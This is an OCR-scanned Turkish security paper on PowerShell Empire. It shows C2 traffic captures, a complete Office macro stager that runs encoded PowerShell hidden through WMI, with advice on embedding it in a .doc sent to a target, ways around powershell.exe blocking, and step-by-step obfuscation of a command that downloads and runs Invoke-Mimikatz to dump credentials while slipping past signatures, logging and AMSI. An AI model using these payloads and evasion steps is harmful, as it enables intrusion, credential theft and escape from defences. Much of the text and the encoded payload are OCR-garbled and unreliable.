166 18.518838 172.16.186.180 172.16.186.179 HTTP 276 POST /admin/get.php HTTP/1.1
1683 18.59@882 172.16.186.179 172.16.186.180 HTTP 436 HTTP/1.9 200 0K text/html
110 23.646541 172.16.186.180 172.16.186.179 HTTP 259 GET /admin/get.php HTTP/L.1
113 23.668399 172.16.186.179 172.16.186.180 HTTP 236 HTTP/1.8 260 OK (text/html)
120 28.708660 - = o 179 HTTP 259 GET /admin/get.php HTTP/1.1
123 28.734864 159 HTTP 436 HTTP/1.0 200 OK (text/html)
130 33.770087 10 {56,150 17216, 186.179 HTTP 254 GET /mews.php HTTP/1.1 Gorev Kontrolii
133 33.794947 172.16.186.179 172.16.186.180 HTTP 436 HTTP/1.@ 200 0K  (text/html)
140 38.833284 172.16.186.180 172.16.186.179 HTTP 263 GET /login/process.php HTTP/1.1
143 38.855747 172.16.186.179 172.16.186.180 HTTP 436 HTTP/1.@8 200 0K (tEthhtml)
150 43.900148 172.16.186.180 172.16.186.179 HTTP 25 GET /news.php RTTP/1.1
153 43.924120 172.16.186.179 172.16.186.180 HTTP 965 HTTP/1.@ 200 OK (text/html)
162 44,117635 172.16.186.180 172.16.186.179 HTTP 148 POST /news.php HTTP/1.1 ;
165 44.169278 172.16.186.179 172.16.186.180 s 436 HTTP/1.@ 208 0K (text/html)
172 49.338286 172.16.186.180 b/ L . 259 GET /admin/get.php HTTP/L.1
175 49.352109 172.16.186.179 1 436 HTTP/1.@ 200 OK (text/html)
182 54.339898 172.16.186.180 172.16.186.179 N 354 GET /news.php ATTP/1.1
185 54.411173 172.16.186.179 172.16.186.180 HTTP 324 HTTP/1.@ 200 OK (text/html)
194 54.507212 172.16.186.180 172.16.186.179 HTTP 164 POST /admin/get.php HTTP/1.1 )
197 54.553703 172.16.186.179 172.16.186.180 HTTP 436 HTTP/1.8 260 OK (text/html)

Sekil 9 - Empire Ag Trafigi

Asagidaki ekran gorintisinde de gorllecegi Uzere her bir istek farkli dizinlere ve dosyalara
gerceklestiriimektedir. User-Agent baslk bilgisinde de ayarlanan User-Agent degerinin gectigi
gorulmektedir. Ayrica sunucu tarafinda da Server baslik bilgisi Microsoft-11S/7.5 olarak gegmektedir

ve tum bu degerler istenildigi gibi degistirilebilir durumdadir.

L
Am ;B RE Res=
[ [http.request [X] ~ ] Expression...  +
No. Time Source Destination Protocol  Length Info
* 4 ©.000696 172.16.186.180 172.16.186.179 HTTP 259 GET /admin/get.php HTTP/1.1
20 2.117617 172.16.186.180 172.16.186.179 HTTP 516 POST /login/process.php HTTP/1.1
32 2.601058 172.16.186.180 172.16.186.179 HTTP 244 POST /login/process.php HTTP/1.1
68 8.109706 172.16.186.180 172.16.186.179 HTTP 254 GET /news.php HTTP/1.1
78 13.177175 172.16.186.180 172.16.186.179 HTTP 263 GET /login/process.php HTTP/1.1
88 18.241083 172.16.186.180 172.16.186.179 HTTP 254 GET /news.php HTTP/1.1
100 18.518838 172.16.186.180 172.16.186.179 HTTP 276 POST /admin/get.php HTTP/1.1
110 23.646541 172.16.186.180 172.16.186.179 HTTP 259 GET /admin/get.php HTTP/1.1
120 28.708660 172.16.186.180 172.16.186.179 HTTP 259 GET /admin/get.php HTTP/1.1
130 33.770987 172.16.186.180 172.16.186.179 HTTP 254 GET /news.php HTTP/1.1
140 38.833284 172.16.186.180 172.16.186.179 HTTP 263 GET /login/process.php HTTP/1.1
150 43.900148 172.16.186.180 172.16.186.179 HTTP 254 GET /news.php HTTP/1.1
162 44.117685 172.16.186.180 172.16.186.179 HTTP 148 POST /news.php HTTP/1.1
172 49.338286 172.16.186.180 172.16.186.179 HTTP 259 GET /admin/get.php HTTP/1.1
182 54.389098 172.16.186.180 172.16.186.179 HTTP 254 GET /news.php HTTP/1.1
194 54.507212 172.16.186.180 172.16.186.179 HTTP 164 POST /admin/get.php HTTP/1.1
A . i t i A TP Stre A o
GET /login/process.php HTTP/1.1 POST /admin/get.php HTTP/1.1
Cookie: session=+AkSAXkc2DQHHLUbV3CB3XUSYaA= User-Agent: Mozilla/5.0 (Windows NT 6.1; WOWS4; Trident/7.0; rv:11.8) like Gecko
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.9; rv:11.8) like Gecko Host: 172.16.186.179
Host: 172.16.186.179 Content-Length: 222
Connection: Keep-Alive Connection: Keep-Alive
HTTP/1.@ 200 OK TR WK N /|3 e R SN B3.
Content-Type: text/html; charset=utf-8
Content-Length: 173 o2 eyt
Cache-Control: no-cache, no-store, must-revalidate ooy XY
- +E. ..
° ; PO BX.HTTP/1.0 200 OK
Server: Microsoft-1IS/7.5 Content-Type: text/html; charset=utf-8
Date: W® - " = Content-Length: 173
Cache-Control: no-cache, no-store, must-revalidate
<html><body><h1>It works!</h1><p>This is the default web page for this server.</p><p>The| |Pragma: no-cache
running but no content has been added, yet.</p></body></html> Expires: @
Server: Microsoft-IIS/7.5
Date: — - - -

Sekil 10 - Empire Ag Trafigi
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2.2.2.5tager

Windows isletim sisteminde PowerShell'in cagirilabildigi her durumda PowerShell kullanilabilir
dogal olarak Empire Stager' da kullanilabilir. Empire’da bircok farkli uzanti turinde Stager
Uretilebilir. Direkt olarak Empire icerisinde .BAT, .VBS, .SCT, .DLL uzantilarinda Windows ortamlar
icin Stager Uretilebilecegi gibi USB Rubber Ducky ve Bunny isimli USB tabanli saldirilar igin
gelistirilmis cihazlar icin de Stager olusturulabilir. Ayni zamanda Python'in c¢agirilabildigi her
durumda da Empire kullanilabilir. Listener ayarlandiktan sonra ilgili Listener icin Stager
olusturulabilir. Asagida Empire icin olusturabilecek Stager'lar ait ekran gérintusu verilmistir.

[Empire] Framework

267 modules currently loaded
1 listeners currently active

@ agents currently active

(Empire) > usestager

multi/bash osx/application osx/macho windows/bunny windows/launcher_sct
multi/launcher osx/ducky osx/macro windows/d1l windows/launcher_vbs
multi/pyinstaller osx/dylib osx/pkg windows/ducky windows/macro
multi/war osx/jar osx/safari_launcher windows/hta windows/teensy
osx/applescript osx/launcher osx/teensy windows/launcher_bat

Sekil 11 - Stagerlar

Gorulebilecegi Gzere bircok farkli platform icin bircok farkli tirde Stager olusturulabilmektedir. Yazi
Windows isletim sistemini temel aldig icin 6rnek olarak Office ailesi Urliinlerde kullanilmak tzere
Macro turtnde Stager olusturulmustur ve asagi verilmistir.

Empire Macro Stager

Sub AutoOpen()
Debugging
End Sub

Sub Document_Open()
Debugging
End Sub

Public Function Debugging() As Variant
Dim Str As String
str "powershell -noP -sta -w 1 -enc WwBSAEUAZgBdAC4AQQ"
str = str + "BzAFMARQBtAGIAbAB5AC4ARwWBFAHQAVAB5AHAARQAOACCAUWBS"

str = str "AHMAdAB1AGOALgBNAGEAbgBhAGCAZQBtAGUAbgBOAC4AQQBLAH"
str = str "QAbwBtAGEAdABpAG8AbgAUAEEADQBzAGKAVQBOAGKAbABZACCA"
str = str "KQB8AD8AewAkAF8ATQB8ACUAewAkAF8ALgBHAEUAVABGAEKARQ"

str = str "ACWAJWBOAG8AbgBQAHUAYgBsAGKAYwWASAFMAdABhAHQAaQBjAC"

+
+
+
str = str + "BSAEQAKAAnAGEAbQBzAGKASQBUAGKAdABGAGEAaQBsAGUAZAAN"
+
str = str + "cAKQAUAFMARQBUAFYAYQBSAFUAZQAOACQAbgB1AGWAbAASACQA"
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str = str + "VABSAFUARQApAHOAOWBbAFMAeQBTAHQAZQBtAC4ATgBlAFQALg"
str = str + "BTAEUAUgBWAEKAYwBFAFAATWBJAE4AdABNAGEAbgBhAGCAZQBS"
str = str + "AFOAOgA6AEUAWABWAEUAQWBUADEAMAAWAEMAbwBUAFQAaQBUAH"
str = str + "UARQA9ADAAOWAKAFCcAYWASAE4AZQB3ACOATWBCAEOARQBDAHQA"
str = str + "IABTAFKAcwBOAEUATQAUAE4AZQBOAC4AVWB1AGIAQWBSAGKARQ"
str = str + "BUAFQAOWAKAHUAPQANAE@AbwB6AGKAbABSAGEALWA1ACAAMAAg"
str = str + "ACgAVwBpAG4AZABVAHCACWAgAE4AAVAAgADYALgAXADSATIABXAE"
str = str + "8AVWA2ADQAOWAgAFQACgBPAGQAZQBUAHQALWA3ACAAMAA7ACAA"
str = str + "cgB2ADoOAMQAXAC4AMAApACAAbABpAGSAZQAEAECAZQBjAGSAbw"
str = str + "AnADSAJAB3AEMALgBIAEUAQQBEAEUAUgBTAC4AQQBEAGQAKAAN"
str = str + "AFUACWB1AHIALQBBAGCAZQBUAHQAIWASACQAdQApADSAJABXAE"
str = str + "MALgBQAFIAbwB4AHKAPQBbAFMAWQBTAFQARQBNAC4ATgBIAHQA"
str = str + "LgBXAEUAQgBSAGUAUQBVAEUACwWBOAFOAOgA6AEQARQBGAGEAVQ"
str = str + "BMAFQAVWB1AGIAUABSAESAWABSADSAJABXAEMALgBQAFIAbwBY"
str = str + "AFkALgBDAHIARQBEAGUAbgBUAEKAYQBSAFMATIAA9ACAAWWBTAH"
str = str + "kAUwBOAEUATQAUAE4AZQBUACAAQWBSAGUARABFAGAAdABpAGEA™"
str = str + "bABDAGEAQWBIAGUAXQA6ADOARABFAEYAQQB1AGWAdABOAEUAVA™"
str = str + "B3AE8AUgBrAEMAUgBFAEQARQBOAHQAaQBBAEWACWA7ACQASWA9"
str = str + "AFSAUwWBZAFMAdAB1AGOALgBUAEUAeABUACAARQBOAEMATWBKAE"
str = str + "kAbgBHAFOAOgA6AEEAUWBDAEKASQAUAECAZQBUAEIAeQBUAEUA™
str = str + "UwAoACcAUQBbADkAWgBeAHkAbwBKADEAdgBjADCANABNAGIAOW"
str = str + "B6AHIAIWBzADUAIQArAEgAMwWBIAESAfgBZAHgAagAwACCAKQAZ™
str = str + "ACQAUgA9AHSAJABEACWAJABLADOAJABBAFIARWBTADSAJABTAD"
str = str + "OAMAAUAC4AMgA1ADUAOWAWACAALgAYADUANQB8ACUAewAKAEOA™
str = str + "PQAOACQASgArACQAUwWBbACQAXwWBAACSAJABLAFSAJABFACUAJA™
str = str + "BLAC4AQWBVAFUATgBUAFOAKQA1ADIANQA2ADSAJABTAFsSAJABS™
str = str + "AFOALAAKAFMAWWAKAEOAXQASACQAUWBbACQASgBAACWAJABTAF"
str = str + "sAJABTAFOAfQA7ACQARABSACUAewAkAEKAPQAOACQASQArADEA™
str = str + "KQA1ADIANQA2ADSAJABIADOAKAAKAEgAKwWAKAFMAWWAKAEKAXQ"
str = str + "ApACUAMgA1ADYAOWAKAFMAWWAKAEKAXQASACQAUwWBbACQASABd"
str = str + "ADOAJABTAFSAJABIAFOALAAKAFMAWWAKAEKAXQA7ACQAXwWATAG"
str = str + "IAeABVAFIAJABTAFsAKAAKAFMAWWAKAEKAXQArACQAUwWBbACQA"
str = str + "SABdACKkAJQAyADUANgBdAHOATQA7ACQAVWBDACAASABIAEEAZA"
str = str + "B1AFIACWAUAEEAZABEACgAIgBDAG8AbwBrAGKAZQAiACWAIgBz"
str = str + "AGUAcwBzAGKkAbwBUADOAYWAGAGWAbDAB1AGOATABHAEQAVQBYAF"
str = str + "UAcCABTADcARABJAEOAWQB4AGOATQBSAHQAMAB6AEKAPQALACKA"
str = str + "OwAkAHMAZQBYyADOAJwBOAHQAdABWADOALWAVADEANWAYAC4AAMQ"
str = str + "A2AC4AMQA4ADYALgAXADcAOQA6ADEAMAANADSAJABOADOAIWAV"
str = str + "AGEAZABtAGKkAbgAvAGCAZQBOACAACABOAHAAIWA7ACQARABBAH"
str = str + "QAQQA9ACQAVWBDAC4ARABVAHCATgBMAESAQQBKAEQAQQBOAEEA"
str = str + "KAAKAHMARQBYACsAJABOACKAOWAKAEKAVgASACQAZABhAHQAQQ"
str = str + "BbADAALgAuUADMAXQA7ACQARABBAFQAQQA9ACQAZABBAHQAQQBbL"
str = str + "ADQALgAUACQARABBAFQAYQAUAGWAZQBOAGCAVABIAFOAOWALAG"
str = str + "oAbwBpAE4AWWBDAEgAYQBYAFsAXQBAACgAIgAgACQAUEAgACQA™
str = str + "ZABBAHQAQQAgACgAJABIAFYAKWAKAESAKQApAHWASQBFAFgA"
Const HIDDEN_WINDOW = ©
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32 ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer &

"\root\cimv2:Win32_Process")
objProcess.Create str, Null, objConfig, intProcessID

End Function

Yukarida verilen Macro herhangi bir Office ailesi Urlne eklendiginde ve Macro aktif oldugu
zamanda PowerShell tabanli Stager calisacaktir. Office Uzerinde Macro'lar varsayilan olarak
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kapalidir ve kullanici Macro eklenmis dosyayi actigi zaman Macro’nun ¢alistirilip ¢alistiilmamasina
karar vermesi gereken uyari ¢ikacaktir. Kullanici bu noktada Macro’nun ¢alismasini kabul ederse
Macro calisacaktir.

Macro kodu incelendiginde, Debugging isimli bir fonksiyon olusturulmustur ve fonksiyon ikiye
ayrilmaktadir. Oncelikle str isimli degisken atanmis ve degisken degeri olarak powershell.exe,
parametreleri ve encode edilmis Stager tanimlanmistir. Cagirilan PowerShell processi igin
kullanilan parametreler -noP -sta -w 1 -enc seklindedir. Sirasiyla, NoProfile anlamina gelen ilk
parametre o an aktif olan kullanicinin profilinin yiklenmemesi, sta parametresi ise baslatilacak
olan PowerShell processinin tek thread modunda baslatiimasi, WindowStyle parametresi ise 1
degeri ile gizli pencerede olacagi ve enc (encodedCommand) parametresi ise deger olarak Base64
ile encode edilmis PowerShell kodu verildigi anlamina gelmektedir. Macro icerisinde bulunan
Stager decode edilmistir ve asagida verilmistir.

22 Windows PowerShell
v PowerShell
Copyright (C) 2016 Micr rporation. All rights reserved.

Ps C: s\hlldz> [System.Text.Encoding]::Unicode.GetString([Systen wert]::FromBase64String(

N[CHar[]](& $R $dA
PS C:\Users\hlldz>

Sekil 12 - Decode Edilen Empire Stager'i

Stager oncelikle Anti-Malware Scan Interface (AMSI) 6nlemini bypass etmekte, iletisimi sifrelemek
icin gereken islemleri yapmakta ardindan sistemde kullanilan bir Proxy varsa bilgilerini alip Listener
olusturulurken kullanilan degerleri kullanarak komuta kontrol merkezi ile ilk iletisimini
baslatmaktadir. Son olarak gelen cevap icerisinde gecen PowerShell komutlari/scriptleri IEX
(Invoke-Expression) ile calistirilmaktadir.

Macro icerisindeki fonksiyonun ikinci kisimda ise ilgili Stager'i calistiracak PowerShell processi WMI
Uzerinden gizli pencere olacak sekilde cagiriimaktadir. Son olarak VBScript dilinde varsayilan
fonksiyonlardan olan AutoOpen() ve Document_Open() fonksiyonlari tanimlanmistir ve ilgili
fonksiyonlar tetiklendiginde Debugging fonksiyonu ¢agiriimaktadir.

Bu sekilde olusturulan Macro bir dokimanin igerisine eklenirken macronun dokimanin icerisine
eklendiginden emin olunmalidir. Macro eklenirken “Macros in” degeri icin “Dokimanin Adi
(Document)” degeri secilmelidir. Bu yapilmadigl durumda veya varsayillan deger secildiginde,
Macro yerel sisteme kayit edilecektir ve dokiiman hedefe goénderildiginde sadece olusturulan
dosya gidecektir. Macro dokiimana degil sisteme eklendigi icin hedefe gitmeyecektir. Ayrica dosya
kayit edilirken (6rnek olarak Word dosyasina eklenmistir) Word 97-2003 Document (*.doc)
seceneginin secilmesi macronun saglkli calismasi icin énemlidir. Bu secenek ile uretilen Word
dosyalari genel dosya turU olup ttim Word versiyonlarinda saglikli bir sekilde ¢alismaktadir.
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Asagida o6rnek olarak olusturulan dosyanin varsayilan ayarlar ile kurulmus Office Word ile
acllmasina ait ekran géruntlsu verilmistir. Varsayilan ayarlarda Macro'lar direkt calistirilmadigi ve
kullanicinin onay alindigi unutulmamahdir. Kullanici Macro'lari aktif ettigi anda Empire Stager'
calisacaktir ve normal sartlarda hedef sistemde komut calistirilabilir seviyeye gelinecektir.

O g - empireMacroStagerTest.doc [Compatibillty Mode] - Word w2 X
JOME | INSERT  DESIGN  PAGELAYOU! REFERENCES REVIEW VIEW  DEVELOPER signin
- O [ —— #ind

; . - pae Bt .
1 cabritight *|28 [A A7 Aa Pmrimc et = n asBbceDe Aspbceoe AaBBC AaBbCe AAB| asmbcen aosbceos acsbeepe AIBbCCDE A0BBCCDA AABECCDD —{ g
cpane B Y e X X - A- SE== - f&-04-  TMNomal TNoSpac. Headingl Heading 2 itle Subtie  SubtleEm.. Emphasis IntenseE..  Stong Quote  Intense Q.. SubtieRef.. .| [y Gelnct-

I SECURITY WARNING Macros have been disabled. | Enable Content

Empire Macro Stager Test

Sekil 13 - Varsayilan Macro Durumu

2.3. PowerShell > powershell.exe

Empire kullanilarak Windows sistemler icin olusturulmus Stagerin kodlari incelendiginde
dogrudan powershell.exe'nin calistiriimasina ihtiya¢ duydugu cikarimi yapilabilir. Bu ¢ikarim
dogrultusunda powershell.exe'nin calistirilmasinin engellenmesi, kisittanmasi bir dnlem olarak
dusunulebilir. Fakat boéyle bir yaklasim sorunu saglikli sekilde ortadan kaldirmayacaktir. Ctnku
PowerShell bir calistirilabilir dosyadan (powershell.exe) cok daha fazlasidir ve powershell.exe
ise PowerShell icin konsol uygulamasidir. PowerShell Windows isletim sisteminin ana
bilesenlerinden bir tanesi olan System.Management.Automation.dll icerisinde islem yapar ve
dogal olarak ana bilesenlerden bir tanesi oldugu icin kaldirilamaz. Ornegin, powershell.exenin
calstinimasinin  engellenmis oldugu bir sistemde powershell_ise.exe Uzerinden yine
PowerShell'e erisilip islem yapilabilir? Bunun sebebi yukarida da bahsedildigi Gizere PowerShell'in
calistirilabilir bir dosyadan ¢ok daha fazlasini ifade etmesidir.

powershell.exe'nin kullanimmin engellenmesinin olumlu yanlari olacagi gibi olumsuz yanlari da
olacaktir. Kullanimin engellenmesi direkt olarak saldirlara ¢6zU0m olmayacaktir ancak
saldirganlarin isini zorlastiracaktir. Bir diger taraftan PowerShell temelde sistem y&neticileri icin
gelistirilmistir, powershell.exe'nin kullaniminin engellenmesi sistem ydneticisinin PowerShell
erisimini de ciddi oranda zorlastiracaktir.

Peki hedef sistemde powershell.exe kullanimi engellenmis ise nasil atlatilabilir? Bunun icin
sirasiyla;

% System.Management.Automation.dll'i referans olarak kullanan bir C# uygulamasi
gelistirilir.
% Calistirmak istenilen PowerShell komutlari referans olarak ¢agirilan DLL'e teslim edilir.
Yukaridaki iki adim gerceklestirildiginde powershell.exe kullanimi engellenmis bile olsa
PowerShell komutlar ¢ahstirilabilir ve istenilen islemler gerceklestirilebilir. Aslinda gelistirilen bu

uygulamanin yaptigl islemler, powershell.exe'nin yaptiklarindan pek de farkh degildir ¢clinku
powershell.exe de bu sekilde calismaktadir.
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Bu sekilde alinmis bir 6nlemi asmak icin hem PowerShell komut ve kodlarini ¢alistirmak hem de
PowerShell tabanli saldiri scriptlerini icerisinde barindiran bircok proje bulunmaktadir. Bunlardan
bazilari;; POwnedShell, Unmanaged PowerShell, PowerOPS ve PSAttack projeleridir.

Asagidaki ekran goérintlisinde powershell.exe'nin calistirilmasi engellenmis olan sistemde
PSAttack projesi ile PowerShell'e erisim saglanmistir ve PowerShell komutu calistiriimistir.

¢ C:\Users\hlldz\Desktop #> $PSVersionTable

This operation has been cgncelled due to restrictions in effect on this computer. Please powershell.exe
contact your system administrator.

Sekil 14 - PSAttack ile PowerShell Engelinin Bypass Edilmesi

2.4. Obfuscation islemleri

Obuscation’l kisaca, olmasa da olur kisimlarin tespit edilmesi, ¢ikartiimasi veya baska sekilde
tanimlanmasi olarak tanimlayabiliriz. Kod icerisinde énemli olmayan kisimlar bu islemde énemli
olmaktadir. imza tabanli tespitlerden kacmak icin Obfuscation (Karmasiklastirma) cok basvurulan
yontemlerden bir tanesidir ve PowerShell scripting dili oldugu icin obfuscation konusunda
zorlanilmamaktadir. Herhangi bir dilde yazilmis kodu karmasiklastirma konusundaki basarinin, dil
bilgisi ile dogru orantili oldugu unutulmamalidir.

Yazi i¢in 6rnek olarak Mimikatz'in PowerShell hali olan Invoke-Mimikatz.ps1 scripti hedef sistem
Uzerinde calistirilabilmesi hedeflenmistir. Script'in hedef sisteme indirilmesi ve calistirilmasi igin
asagidaki komut kullaniimustir.

Invoke-Expression (New-Object

System.Net.WebClient).DownloadString( 'https://raw.githubusercontent.com/mattifes
tation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.psl'); Invoke-Mimikatz -
DumpCreds
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Yukarida verilen komut ¢ok yaygin kullanim oranina sahip bir s6z dizimine sahiptir ve kullanilan
kUtiphane veya Cmdlet bile direkt olarak hedef sistem UGzerinde alarm olusmasina sebep olabilir.
Bu noktada komut incelenip olmasa da olur kisimlar elenmeye ve tanimlar mimkin oldugu
durumlarda baska sekillerde belirtilmeye calisiimistir.

Oncelikle System.Net.WebClient kisminda bulunan System tanmimini kaldirilabilir ciinki .NET
fonksiyonlarinda System tanimi olmasa da olur.

Invoke-Expression (New-Object

Net.WebClient).DownloadString( 'https://raw.githubusercontent.com/mattifestation/
PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -
DumpCreds

HTTP veya HTTPS dikkat ceken degerlerdir. Komut icerisinde bulunan URL sabit bir degerdir ve
istenildigi gibi parcalara ayrilip toplanabilir.

Invoke-Expression (New-Object

Net.WebClient).DownloadString( 'ht'+'t'+'ps'+":"+"'/"+"/ "+ 'raw.githubusercontent.c
om/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.psl'); Invoke-
Mimikatz -DumpCreds

(New-Object Net.WebClient) kutUphane tanimini degisken olarak atayabiliriz ardindan
kullanilacak olan yerde ¢agirabiliriz.

$get = New-Object Net.Webclient; Invoke-Expression
$get.DownloadString('ht '+ t'+'ps'+":"+'/'+"/ '+ 'raw.githubusercontent.com/mattife
station/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -
DumpCreds

DownloadString tanimi da dikkat ¢eken boélimlerden bir tanesidir. Cinkl bir¢cok PowerShell
tabanli saldiri esnasinda kullanilmistir ve kullaniimaya devam etmektedir. DownloadString yerine
gececek baska tanimlar olsa da yine de bu tanim kullanilabilir ve imza tabanh tespitlerden kagirma
hedeflenebilir. Bu noktada DownloadString tanimini iki adet " karakteri arasina alinabilir ve
PowerShell icin bu herhangi bir sorun teskil etmeyecektir. Ancak yine de bir imzayi tetikleyebilecek
durumdadir. Bunu asmak icin ~ karakteri kullanilabilir. ~ karakteri PowerShell icerisinde kacis
karakteridir. Asagidaki ekran gortntisunde gorilebilecegi Uzere PowerShell tzerinde ° karakteri
belirli durumlarda kullanildigl zaman 6zel anlamlara gelmektedir.
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USING SPECTAL CHARACTERS

When used within quotation marks, the escape character indicates a
cial character that provides instructions to the command parser.

The following special characters are recognized by Windows PowerShell:

Null

Alert

Backspace

Form feed

New line
Carriage return
Horizontal tab
Vertical tab

example:
PS C:\» "12345678123456781 nColl” tColumn2 tCol3"

12345678123456781
Coll Column2 Col3

Sekil 15 - Kacis Karakteri Tanimlari

Bu tanimlar disindaki kullanimlarda PowerShell herhangi bir tepki vermemektedir ve ¢alismaya °
karakteri yokmus gibi devam etmektedir. Ornegin powershell -exec bypass komutu
calistirildiginda Script Block loglamanin aktif oldugu bir sistemde Warning seviyesinde log
olusacaktir. Ayni islem powershell -exec “B y P A°Ss komutu ile gerceklestirildiginde ise
Warning seviyesinde log olugsmamaktadir. Her iki komutta ayni islemi yapmaktadir ancak °
karakteri sayesinde normalde sUpheli olarak isaretlenen komut tespitten kacabilmistir.

la!
File Action View Help
= |5 HE
NTLM LYl Operational Number of events: 14 Actions
_ NvdimmN

Level Date and Time Source EventID Task Category ~ | | Operational =

OfflineFiles
OneBackup A\ Waming 15.08,2017 11:52:33 PowerShell (Micro, 4104 Execute a Remote ... v Open Saved Log,
- gg"’gi_h‘e(hms_nm Event 4104, | ‘Microsoft-Windows-PowerShell T —— i
OtpCredentialProvider General Det.
| PackageStateRoaming
ParentalControls Creating Scriptblock text (1 of 1);
Partition P -exec bypass
1 PerceptionRuntime
PercsptionSensonDataSeri ScriptBlock ID: c27fbede-a6f6-4bcd-ab19-2ba3957988dc
PrmemDisk Path:
| Policy-based QoS
v ] PowerShell
[«] Admin
] Operational

Sekil 16 - Warning Seviyesinde Olusan Log
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@

File Action View Help

e 20 B

NTLM [l Operational Number of events: 29 Actions
NvdimmN =
OfflineFiles Level Date and Time Source EventID Task Category ~ | | Operational -
OneBackup i) Information 15.08.2017 11:54:01 PowerShell (Micro... 4103 Executing Pipeline Open Saved Log...
Onex i) Information 15.08.2017 11:54:01 PowerShell (Micro... 4103 Executing Pipeline ¥ Create Custom View...
OOBE-Machine-DUI © Verbose 15.08.2017 11:54:01 PowesShell (Micro... 4104 Execute a Remote ..

> Import Custom View...
OtpCredentialProvider i) Information 15.08.2017 11:54:01
Pac ing i 15.08.2017 11:54:01
ParentalControls D) Information 15,08,2017 11:54:01 "’ Powershell
Paitiion © Verbose 5.08.2017 11:54:01 5> Microsoft Corporation. All rights peserved.
PerceptionRuntime @) Information 15.08.2017 11:54:01 S . "By PA

PerceptionSensorDataServi
_ PmemDisk
Policy-based QoS Event 4104, PowerShell (Microsoft-Windows-PowerShell)

v PowerShell G " S C:\Users\hlldz>
&) Admin eneral  Details

i) Information 15.08.2017 11:53:42

Corporation. All

] Operational
Powershell-DesiredstateCo (Cxaating coptiaack et (Jiok )
powershell -exec BYP'ASs
~ PrimaryNetworklcon
PrintBRM ScriptBlock ID: 5f0cee07-8¢97-41d6-bf60-8cdec332aleT
PrintService Path:
1 PriResources-Deployment

Sekil 17 - Warning Seviyesinde Log Olusmamasi

Yukarida da belirtildigi Uzere komut icerisinde bulunan DownloadString tanimini iki adet "
karakteri arasina alinabilir ve devaminda 6zel bir anlama gelmeyecek sekilde ° karakteri
kullanilabilir. Ayni zamanda Net .Webclient, New-0Object icin argimandir ve ayni islem onun icinde
gerceklestirilebilir.

$get = New-Object ""'N'et. W ebc 1 i ent"; Invoke-Expression

$get." Do wn 1l oa d Strin g"("ht'+'t'+'ps'+':"+"/"+"/"+"'raw.githubusercontent.c
om/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-
Mimikatz -DumpCreds

Bu noktada nihai komut kullanilarak bazi kontroller atlatilabilir veya devam edilerek komut daha
da karmasiklastirilabilir. Bu sekilde komut veya kod karmasiklastirma icin gelistirilmis “Invoke-
Obfuscation” projesi bulunmaktadir. Bu proje ile bir¢ok farkli teknik kullanilarak calistiriimak
istenilen komut veya kod karmasiklastirilabilir. Ornek olarak bélimuin girisinde verilen komut,
Invoke-Obfuscation projesindeki TOKEN\COMMAND\3 Obfuscator ile karmasiklastiriimistir ve
asagida verilmistir.

Invoke-Obfuscation - TOKEN\COMMAND\3

S("{23{e}{4} {5{1}{3}"-f 'ke-Expr','io’','Invo','n"','es',"'s") (&("{2}{1}{e}" -
f'ct','Obje’, "New-")

System.Net.WebClient).DownloadString( 'https://ipOrDomain/Invoke-Mimikatz.psl');
S({er{3H{2{1}"-Ff'Inv',"atz","k", "oke-Mimi") -DumpCreds

ilgili proje icerisinde bircok baska obfuscator bulunmaktadir ve birden fazla teknik bir arada da
kullanilabilir. Bu noktaya kadar gerceklestirilen karmasiklastirma islemi genelde komut satiri icin
yazilan alarm veya korelasyon kurallarini atlamak icindir. Ancak Invoke-Mimikatz.ps1 dosyasi
basta Windows isletim sisteminde kurulum ile gelen Defender olmak Uzere bircok givenlik ¢6zimu
tarafindan tespit edilmektedir. Scriptin VirusTotal'deki tarama sonucuna ait ekran gorunttsu
asagidaki gibidir ve gorulecegi Uzere bircok guvenlik Urinu tarafindan zararli olarak tespit
edilmistir.
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= C' | @ Secure https://virustotal.com/#/filefebf54f745dc81e1958f75e4ca91dd0ab9891c9787bbBb0bfa93e2151d%a2abbb/detection b ¢

Z Search or scan a URL, IP address, domain, or file hash

29 engines detected this file
SHA-256 ebf54f745dc81e1958f75e4ca91dd0ab989fc9787bbebobfag3e2f51d9a2asbb

TxT File name Invoke-Mimikatz.ps1
File size 2.1 MB
29—/58 Last analysis 2017-08-14 13:46:16 UTC
Community score  -36
Detection Details Relations Community o
Ad-Aware A Application.HackTool.PowerSploit.A
Arcabit A Application.HackTool.PowerSploit.A
AVG A BvAndroDrp-B [Drp)
Cyren A rpplicationAHs
eScan A Application.HackTool.PowerSploit.A
F-Secure A Application.HackTool.PowerSploit
GData A Application.HackTool.PowerSploit.A
Kaspersky A Trojan-PSW.PowerShell.Mimikatz.c

AegisLab
Avast
BitDefender
Emsisoft
ESET-NOD32
Fortinet
Ikarus

MAX

J @)
2]
@
o

A Troj.Psw.Powershell!c

A\ Bv:AndroDrp-8 [Drp]

A Application HackTool. PowerSploit.A
A Application.HackTool.PowerSploit.A (B)
A PowerShell/Injector.D

A\ /5/Moat 3845BB5E

A HackToolWin32.Mikatz

A malware (ai score=73)

Sekil 18 - Invoke-Mimikatz.ps1 Tarama Sonucu

Ayni zamanda direkt olarak hedef sistemde calistirildiginda Anti-Malware Scan Interface (AMSIY'i

kullanan Defender tarafindan da zararh olarak tespit edilmektedir.

2. Windows PowerShell

Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\hlldz> Invoke-Expression (New-Object System.Net.WebClient).DownloadString(
); Invoke-Mimikatz

PS C:\Users\hlldz>

Sekil 19 - AMSI ve Invoke-Mimikatz.ps1

GuUvenlik Urdnlerinin sadece belirli kelimelere (6rnegin Mimikatz kelimesine) imza yazdigI durumlar
ile karsilasilabilir. Asagida basit bir PowerShell scripti bulunmaktadir ve orijinal Invoke-
Mimikatz.ps1 dosyasindan alinmis 6rnek yorum satirlari ile fonksiyon adini barindirmaktadir. ilgili
